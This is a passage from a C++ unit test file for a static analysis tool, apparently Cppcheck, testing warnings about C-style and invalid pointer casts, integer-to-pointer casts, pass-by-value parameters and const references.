Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) 